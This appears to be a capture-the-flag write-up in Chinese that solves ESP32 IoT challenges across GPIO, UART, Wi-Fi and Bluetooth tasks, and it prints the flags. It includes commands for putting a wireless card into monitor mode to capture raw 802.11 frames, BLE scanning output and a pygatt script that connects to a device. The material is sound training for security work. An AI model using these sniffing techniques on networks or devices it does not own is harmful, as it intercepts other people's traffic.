<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">hardware_task1</span><span class="p">(){</span>
<span class="kt">int</span> <span class="n">hit</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] hardware task I : hit %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">hit</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">gpio_get_level</span><span class="p">(</span><span class="n">GPIO_INPUT_IO_0</span><span class="p">)){</span>
<span class="n">hit</span> <span class="o">++</span> <span class="p">;</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="n">hit</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="n">hit</span><span class="o">></span><span class="mi">3</span><span class="p">){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] hardware task I : %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">hardware_flag_1</span><span class="p">);</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">vTaskDelay</span><span class="p">(</span><span class="mi">1000</span> <span class="o">/</span> <span class="n">portTICK_RATE_MS</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<ul>
<li>解法:用杜邦线将GPIO18与3.3v或5v相接</li>
</ul>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/esp32/image-20211127174914261.png" alt="image" /></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">hardware</span> <span class="n">task</span> <span class="n">I</span> <span class="p">:</span> <span class="n">hit</span> <span class="mi">1</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">hardware</span> <span class="n">task</span> <span class="n">I</span> <span class="p">:</span> <span class="n">hit</span> <span class="mi">2</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">hardware</span> <span class="n">task</span> <span class="n">I</span> <span class="p">:</span> <span class="n">hit</span> <span class="mi">3</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">hardware</span> <span class="n">task</span> <span class="n">I</span> <span class="p">:</span> <span class="n">THUCTF</span><span class="p">{</span><span class="n">Ev3ryth1ng_st4rt_fr0m_GPIO_</span><span class="err">!!!</span><span class="p">}</span>
</code></pre></div></div>
<h3 id="task2">task2</h3>
<ul>
<li>题目:在GPIO18处构造出1w个上升沿</li>
</ul>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">hardware_task2</span><span class="p">(){</span>
<span class="n">trigger</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] hardware task II : trigger %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">trigger</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">trigger</span> <span class="o">></span> <span class="mi">10000</span><span class="p">){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] hardware task II : %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">hardware_flag_2</span><span class="p">);</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">vTaskDelay</span><span class="p">(</span><span class="mi">1000</span> <span class="o">/</span> <span class="n">portTICK_RATE_MS</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<ul>
<li>解法:用杜邦线将GPIO18与板子的TX相接,利用串口一直有数据输出,自动构造上升沿:</li>
</ul>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/esp32/image-20211126153122219.png" alt="image" /></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">hardware</span> <span class="n">task</span> <span class="n">II</span> <span class="p">:</span> <span class="n">trigger</span> <span class="mi">9491</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">hardware</span> <span class="n">task</span> <span class="n">II</span> <span class="p">:</span> <span class="n">trigger</span> <span class="mi">9971</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">hardware</span> <span class="n">task</span> <span class="n">II</span> <span class="p">:</span> <span class="n">trigger</span> <span class="mi">10085</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">hardware</span> <span class="n">task</span> <span class="n">II</span> <span class="p">:</span> <span class="n">THUCTF</span><span class="p">{</span><span class="n">AuT0</span><span class="o">++</span><span class="n">_is_th3_r1ght_w4y_hhhhhh</span><span class="p">}</span>
</code></pre></div></div>
<h3 id="task3">task3</h3>
<ul>
<li>题目:在另一个串口寻找第三个flag</li>
</ul>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define ECHO_TEST_TXD (GPIO_NUM_4)
#define ECHO_TEST_RXD (GPIO_NUM_5)
</span>
<span class="kt">void</span> <span class="nf">hardware_task3</span><span class="p">(){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] hardware task III : find the third flag in another UART</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">uart_write_bytes</span><span class="p">(</span><span class="n">UART_NUM_1</span><span class="p">,</span> <span class="n">hardware_flag_3</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">hardware_flag_3</span><span class="p">));</span>
<span class="n">vTaskDelay</span><span class="p">(</span><span class="mi">1000</span> <span class="o">/</span> <span class="n">portTICK_RATE_MS</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<ul>
<li>解法:分析代码,第二个串口的TX、RX分别为4、5号引脚,接到串口转换器,然后用串口工具查看即可(发的串口转换器芯片为CH340,Linux、OSX免驱,WIN10需要手动装驱动)</li>
</ul>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/esp32/image-20211126153232818.png" alt="image" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Xshell 7 (Build 0090)
Copyright (c) 2020 NetSarang Computer, Inc. All rights reserved.
Type `help' to learn how to use Xshell prompt.
[C:\~]$
Connecting to COM6...
Connected.
THUCTF{UART_15_v3ry_imp0r7ant_1n_i0T}
</code></pre></div></div>
<h2 id="网络题目">网络题目</h2>
<blockquote>
<p>main/network.c</p>
</blockquote>
<p>主要考察对设备网络通信的使用,分析,捕获,题目开启顺序:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> -> task2
task1
-> task3
</code></pre></div></div>
<h3 id="task1-1">task1</h3>
<ul>
<li>题目:连接板子目标端口,尝试获得flag</li>
</ul>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">100</span><span class="p">];</span>
<span class="k">while</span><span class="p">(</span><span class="n">recv</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span><span class="n">buffer</span><span class="p">,</span><span class="mh">0x10</span><span class="p">,</span><span class="mi">0</span><span class="p">)){</span>
<span class="k">if</span><span class="p">(</span><span class="n">strstr</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span><span class="s">"getflag"</span><span class="p">)){</span>
<span class="n">send</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">network_flag_1</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">network_flag_1</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="n">send</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="s">"error</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="s">"error</span><span class="se">\n</span><span class="s">"</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">vTaskDelay</span><span class="p">(</span><span class="mi">1000</span> <span class="o">/</span> <span class="n">portTICK_RATE_MS</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<ul>
<li>解法:首先要按照板子要求构造出wifi热点,然后连接板子的3333端口并发送getflag即可</li>
</ul>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] network task I: I will connect a wifi -> ssid: fmnlso , password glttosvt
I (88071) esp_netif_handlers: sta ip: 192.168.43.19, mask: 255.255.255.0, gw: 192.168.43.1
I (88071) wifi connect: got ip:192.168.43.19
I (88071) wifi connect: connected to ap SSID:fmnlso password:glttosvt
I (88081) network: Socket created
I (88081) network: Socket bound, port 3333
I (88091) network: Socket listening
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc 192.168.43.19 3333
getflag
THUCTF{M4k3_A_w1rele55_h0t5p0ts}
</code></pre></div></div>
<h3 id="task2-1">task2</h3>
<ul>
<li>题目:你知道他发给百度的flag么</li>
</ul>
<blockquote>
<p>此部分代码不完善,可能会因死循环爆栈导致重启,请见谅…</p>
</blockquote>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="n">open_next_tasks</span><span class="p">){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] network task II : send the second flag to baidu</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">getaddrinfo</span><span class="p">(</span><span class="s">"www.baidu.com"</span><span class="p">,</span> <span class="s">"80"</span><span class="p">,</span> <span class="o">&</span><span class="n">hints</span><span class="p">,</span> <span class="o">&</span><span class="n">res</span><span class="p">);</span>
<span class="n">addr</span> <span class="o">=</span> <span class="o">&</span><span class="p">((</span><span class="k">struct</span> <span class="n">sockaddr_in</span> <span class="o">*</span><span class="p">)</span><span class="n">res</span><span class="o">-></span><span class="n">ai_addr</span><span class="p">)</span><span class="o">-></span><span class="n">sin_addr</span><span class="p">;</span>
<span class="n">ESP_LOGI</span><span class="p">(</span><span class="s">"network"</span><span class="p">,</span> <span class="s">"DNS lookup succeeded. IP=%s"</span><span class="p">,</span> <span class="n">inet_ntoa</span><span class="p">(</span><span class="o">*</span><span class="n">addr</span><span class="p">));</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">(</span><span class="n">res</span><span class="o">-></span><span class="n">ai_family</span><span class="p">,</span> <span class="n">res</span><span class="o">-></span><span class="n">ai_socktype</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">connect</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">res</span><span class="o">-></span><span class="n">ai_addr</span><span class="p">,</span> <span class="n">res</span><span class="o">-></span><span class="n">ai_addrlen</span><span class="p">);</span>
<span class="n">freeaddrinfo</span><span class="p">(</span><span class="n">res</span><span class="p">);</span>
<span class="n">write</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">request</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">request</span><span class="p">));</span>
<span class="n">close</span><span class="p">(</span><span class="n">s</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">vTaskDelay</span><span class="p">(</span><span class="mi">10000</span> <span class="o">/</span> <span class="n">portTICK_PERIOD_MS</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<ul>
<li>解法:通信干路抓包,如果用手机构造热点不方便抓包,故用win或者mac的网络共享开启热点,然后对共享网络的网卡抓包即可</li>
</ul>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/esp32/image-20211127174710945.png" alt="image" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>THUCTF{Sn1ffer_N3tw0rk_TrAffic_In_7h4_Main_r0aD}
</code></pre></div></div>
<h3 id="task3-1">task3</h3>
<ul>
<li>题目:flag在空中</li>
</ul>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">network_wifi</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">static</span> <span class="k">const</span> <span class="kt">char</span> <span class="n">ds2ds_pdu</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
<span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xFF</span><span class="p">,</span> <span class="mh">0xFF</span><span class="p">,</span> <span class="mh">0xFF</span><span class="p">,</span> <span class="mh">0xFF</span><span class="p">,</span> <span class="mh">0xFF</span><span class="p">,</span> <span class="mh">0xFF</span><span class="p">,</span>
<span class="mh">0xE8</span><span class="p">,</span> <span class="mh">0x65</span><span class="p">,</span> <span class="mh">0xD4</span><span class="p">,</span> <span class="mh">0xCB</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0xFF</span><span class="p">,</span> <span class="mh">0xFF</span><span class="p">,</span> <span class="mh">0xFF</span><span class="p">,</span> <span class="mh">0xFF</span><span class="p">,</span> <span class="mh">0xFF</span><span class="p">,</span> <span class="mh">0xFF</span><span class="p">,</span>
<span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0xE8</span><span class="p">,</span> <span class="mh">0x65</span><span class="p">,</span> <span class="mh">0xD4</span><span class="p">,</span> <span class="mh">0xCB</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x1C</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0xB9</span><span class="p">,</span>
<span class="mh">0x0D</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x7D</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xE8</span><span class="p">,</span> <span class="mh">0x65</span><span class="p">,</span> <span class="mh">0xD4</span><span class="p">,</span> <span class="mh">0xCB</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span>
<span class="mh">0x1C</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0xB9</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span>
<span class="p">};</span>
<span class="kt">char</span> <span class="n">pdu</span><span class="p">[</span><span class="mi">200</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">pdu</span><span class="p">,</span><span class="n">ds2ds_pdu</span><span class="p">,</span><span class="k">sizeof</span><span class="p">(</span><span class="n">ds2ds_pdu</span><span class="p">));</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">pdu</span><span class="o">+</span><span class="k">sizeof</span><span class="p">(</span><span class="n">ds2ds_pdu</span><span class="p">),</span><span class="n">network_flag_3</span><span class="p">,</span><span class="k">sizeof</span><span class="p">(</span><span class="n">network_flag_3</span><span class="p">));</span>
<span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="n">open_next_tasks</span><span class="p">){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] network task III : send raw 802.11 package contains the third flag</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">esp_wifi_80211_tx</span><span class="p">(</span><span class="n">ESP_IF_WIFI_STA</span><span class="p">,</span> <span class="n">pdu</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">ds2ds_pdu</span><span class="p">)</span><span class="o">+</span><span class="k">sizeof</span><span class="p">(</span><span class="n">network_flag_3</span><span class="p">),</span> <span class="nb">true</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">vTaskDelay</span><span class="p">(</span><span class="mi">5000</span> <span class="o">/</span> <span class="n">portTICK_PERIOD_MS</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<ul>
<li>解法:使用kali以及外置网卡抓802.11裸包,即可看到有flag的报文</li>
</ul>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/esp32/image-20211127174659640.png" alt="image" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ airmon-ng start wlan0
➜ airodump-ng wlan0mon
</code></pre></div></div>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/esp32/image-20211127174624863.png" alt="image" /></p>
<p>如果是Mac电脑,则不需要外置网卡,可直接使用自带网卡抓包,首先确定目标wifi的信道:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -s
SSID BSSID RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
Huawei@123 7c:b5:9b:53:be:a8 -50 1,+1 Y CN WPA(PSK/AES/AES) WPA2(PSK/AES/AES)
hegysa 12:c0:c9:62:70:de -33 1 Y CN WPA2(PSK/AES/AES)
</code></pre></div></div>
<p>然后抓取目标信道:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport en0 sniff 1
Capturing 802.11 frames on en0.
</code></pre></div></div>
<p>开启wireshark并将无线网卡设置成监控模式,然后即可抓取802.11的裸包:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/esp32/macwifi.png" alt="image" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>THUCTF{Y0u_cAn_s3nd_4nd_sNiff3r_802.11_r4w_pAckag3}
</code></pre></div></div>
<h2 id="蓝牙题目">蓝牙题目</h2>
<blockquote>
<p>main/bluetooth.c</p>
</blockquote>
<p>主要考察对经典蓝牙,低功耗蓝牙的基本操作以及分析,题目开启顺序:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>task1 -> task2 -> task3
</code></pre></div></div>
<p>相关工具使用方法参考:<a href="https://xuanxuanblingbling.github.io/wireless/ble/2021/06/26/ble/">用 西湖论剑IoT闯关赛 蓝牙赛题 理解 蓝牙协议</a></p>
<h3 id="task1-2">task1</h3>
<ul>
<li>题目:修改蓝牙名称并设置可被发现即可获得flag</li>
</ul>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">check_name</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span> <span class="n">a</span><span class="p">,</span><span class="kt">char</span> <span class="o">*</span> <span class="n">b</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">b</span><span class="p">)){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"bluetooth task I : %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">bt_flag_1</span><span class="p">);</span>
<span class="n">esp_bt_gap_cancel_discovery</span><span class="p">();</span>
<span class="n">scan</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">next_task</span><span class="p">();</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<ul>
<li>解法:如题</li>
</ul>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] bluetooth task I : Please change your bluetooth device name to uunpyagw
I (43491) GAP: [+] bluetooth task I : Device found: a8:e5:44:3d:db:2e
I (43511) GAP: [+] bluetooth task I : Found a target device, address a8:e5:44:3d:db:2e, name uunpyagw
bluetooth task I : THUCTF{b1u3t00th_n4me_a1s0_c4n_b3_An_aTT4ck_surfAce}
</code></pre></div></div>
<h3 id="task2-2">task2</h3>
<ul>
<li>题目:flag在空中</li>
</ul>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">data</span><span class="p">[</span><span class="mi">100</span><span class="p">];</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">data</span><span class="p">,</span><span class="n">fmt</span><span class="p">,</span><span class="k">sizeof</span><span class="p">(</span><span class="n">fmt</span><span class="p">));</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">data</span><span class="o">+</span><span class="mi">2</span><span class="p">,</span><span class="n">client_name</span><span class="p">,</span><span class="mi">5</span><span class="p">);</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">data</span><span class="o">+</span><span class="k">sizeof</span><span class="p">(</span><span class="n">fmt</span><span class="p">),</span><span class="n">bt_flag_2</span><span class="p">,</span><span class="k">sizeof</span><span class="p">(</span><span class="n">bt_flag_2</span><span class="p">));</span>
<span class="n">esp_ble_gap_config_adv_data_raw</span><span class="p">(</span><span class="n">data</span><span class="p">,</span><span class="k">sizeof</span><span class="p">(</span><span class="n">fmt</span><span class="p">)</span><span class="o">+</span><span class="k">sizeof</span><span class="p">(</span><span class="n">bt_flag_2</span><span class="p">));</span>
</code></pre></div></div>
<ul>
<li>解法:通过第一关后,板子会由经典蓝牙切换到低功耗蓝牙,flag就在BLE的广播报文中,使用手机软件<a href="https://play.google.com/store/apps/details?id=no.nordicsemi.android.mcp&hl=en&gl=US">nRF connect</a>即可获得:</li>
</ul>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] bluetooth task II : BLE device name is jlprw
[+] bluetooth task II : Please find the second flag in the ADV package from this BLE device jlprw
</code></pre></div></div>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/esp32/image-20211127174752464.png" alt="image" /></p>
<p>当然也可以在有蓝牙适配器的主机上使用blescan、bluescan等扫描到目标广播报文:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">$</span> <span class="n">sudo</span> <span class="n">blescan</span>
<span class="n">Scanning</span> <span class="k">for</span> <span class="n">devices</span><span class="p">...</span>
<span class="n">Device</span> <span class="p">(</span><span class="n">new</span><span class="p">):</span> <span class="mi">94</span><span class="p">:</span><span class="mi">3</span><span class="n">c</span><span class="p">:</span><span class="n">c6</span><span class="p">:</span><span class="n">cd</span><span class="p">:</span><span class="n">da</span><span class="p">:</span><span class="mi">86</span> <span class="p">(</span><span class="n">public</span><span class="p">),</span> <span class="o">-</span><span class="mi">47</span> <span class="n">dBm</span>
<span class="n">Complete</span> <span class="n">Local</span> <span class="n">Name</span><span class="p">:</span> <span class="s">'jsstg'</span>
<span class="mh">0xfd</span><span class="p">:</span> <span class="o"><</span><span class="mi">5448554354467</span><span class="n">b416456443437617d</span><span class="o">></span>
<span class="err">$</span> <span class="n">sudo</span> <span class="n">bluescan</span> <span class="o">-</span><span class="n">m</span> <span class="n">le</span>
<span class="p">[</span><span class="n">WARNING</span><span class="p">]</span> <span class="n">Before</span> <span class="n">doing</span> <span class="n">an</span> <span class="n">active</span> <span class="n">scan</span><span class="p">,</span> <span class="n">make</span> <span class="n">sure</span> <span class="n">you</span> <span class="n">spoof</span> <span class="n">your</span> <span class="n">BD_ADDR</span><span class="p">.</span>
<span class="p">[</span><span class="n">INFO</span><span class="p">]</span> <span class="n">LE</span> <span class="n">active</span> <span class="n">scanning</span> <span class="n">on</span> <span class="n">hci0</span> <span class="k">with</span> <span class="n">timeout</span> <span class="mi">10</span> <span class="n">sec</span>
<span class="o">----------------</span><span class="n">LE</span> <span class="n">Devices</span> <span class="n">Scan</span> <span class="n">Result</span><span class="o">----------------</span>
<span class="n">Addr</span><span class="p">:</span> <span class="mi">94</span><span class="p">:</span><span class="mi">3</span><span class="n">C</span><span class="p">:</span><span class="n">C6</span><span class="p">:</span><span class="n">CD</span><span class="p">:</span><span class="n">DA</span><span class="p">:</span><span class="mi">86</span> <span class="p">(</span><span class="n">Espressif</span> <span class="n">Inc</span><span class="p">.)</span>
<span class="n">Addr</span> <span class="nb">type</span><span class="p">:</span> <span class="n">public</span>
<span class="n">Connectable</span><span class="p">:</span> <span class="bp">True</span>
<span class="n">RSSI</span><span class="p">:</span> <span class="o">-</span><span class="mi">45</span> <span class="n">dBm</span>
<span class="n">General</span> <span class="n">Access</span> <span class="n">Profile</span><span class="p">:</span>
<span class="n">Complete</span> <span class="n">Local</span> <span class="n">Name</span><span class="p">:</span> <span class="n">jsstg</span>
<span class="mh">0xFD</span> <span class="p">(</span><span class="n">Unknown</span><span class="p">):</span> <span class="mi">5448554354467</span><span class="n">b416456443437617d</span>
</code></pre></div></div>
<p>然后hex解码:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">$</span> <span class="n">python3</span>
<span class="n">Python</span> <span class="mf">3.9</span><span class="p">.</span><span class="mi">5</span> <span class="p">(</span><span class="n">default</span><span class="p">,</span> <span class="n">May</span> <span class="mi">11</span> <span class="mi">2021</span><span class="p">,</span> <span class="mi">08</span><span class="p">:</span><span class="mi">20</span><span class="p">:</span><span class="mi">37</span><span class="p">)</span>
<span class="p">[</span><span class="n">GCC</span> <span class="mf">10.3</span><span class="p">.</span><span class="mi">0</span><span class="p">]</span> <span class="n">on</span> <span class="n">linux</span>
<span class="n">Type</span> <span class="s">"help"</span><span class="p">,</span> <span class="s">"copyright"</span><span class="p">,</span> <span class="s">"credits"</span> <span class="ow">or</span> <span class="s">"license"</span> <span class="k">for</span> <span class="n">more</span> <span class="n">information</span><span class="p">.</span>
<span class="o">>>></span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s">'5448554354467b416456443437617d'</span><span class="p">)</span>
<span class="sa">b</span><span class="s">'THUCTF{AdVD47a}'</span>
</code></pre></div></div>
<h3 id="task3-2">task3</h3>
<ul>
<li>题目:分析GATT业务并获得flag</li>
</ul>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">strncmp</span><span class="p">(</span><span class="n">bt_flag_2</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">param</span><span class="o">-></span><span class="n">write</span><span class="p">.</span><span class="n">value</span><span class="p">,</span><span class="n">param</span><span class="o">-></span><span class="n">write</span><span class="p">.</span><span class="n">len</span><span class="p">)){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] bluetooth task III : you can read the third flag this time</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">open_task3</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">...</span>
<span class="k">if</span><span class="p">(</span><span class="n">open_task3</span><span class="p">){</span>
<span class="n">rsp</span><span class="p">.</span><span class="n">attr_value</span><span class="p">.</span><span class="n">len</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">bt_flag_3</span><span class="p">);</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">rsp</span><span class="p">.</span><span class="n">attr_value</span><span class="p">.</span><span class="n">value</span><span class="p">,</span><span class="n">bt_flag_3</span><span class="p">,</span><span class="k">sizeof</span><span class="p">(</span><span class="n">bt_flag_3</span><span class="p">));</span>
</code></pre></div></div>
<ul>
<li>解法:连接此BLE,并对id为0xff01的characteristics写入task2的flag,再次读取即可获得flag</li>
</ul>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/esp32/image-20211127174742131.png" alt="image" /></p>
<p>也可在主机上用pygatt解题,首先获得目标设备characteristics的uuid:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">pygatt</span>
<span class="n">adapter</span> <span class="o">=</span> <span class="n">pygatt</span><span class="p">.</span><span class="n">GATTToolBackend</span><span class="p">()</span>
<span class="n">adapter</span><span class="p">.</span><span class="n">start</span><span class="p">()</span>
<span class="n">device</span> <span class="o">=</span> <span class="n">adapter</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">'94:3C:C6:CD:DA:86'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">uuid</span> <span class="ow">in</span> <span class="n">device</span><span class="p">.</span><span class="n">discover_characteristics</span><span class="p">().</span><span class="n">keys</span><span class="p">():</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Read UUID %s"</span> <span class="o">%</span> <span class="p">(</span><span class="n">uuid</span><span class="p">))</span>
</code></pre></div></div>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">$</span> <span class="n">python3</span> <span class="n">exp</span><span class="p">.</span><span class="n">py</span>
<span class="n">Read</span> <span class="n">UUID</span> <span class="mi">00002</span><span class="n">a05</span><span class="o">-</span><span class="mi">0000</span><span class="o">-</span><span class="mi">1000</span><span class="o">-</span><span class="mi">8000</span><span class="o">-</span><span class="mi">00805</span><span class="n">f9b34fb</span>
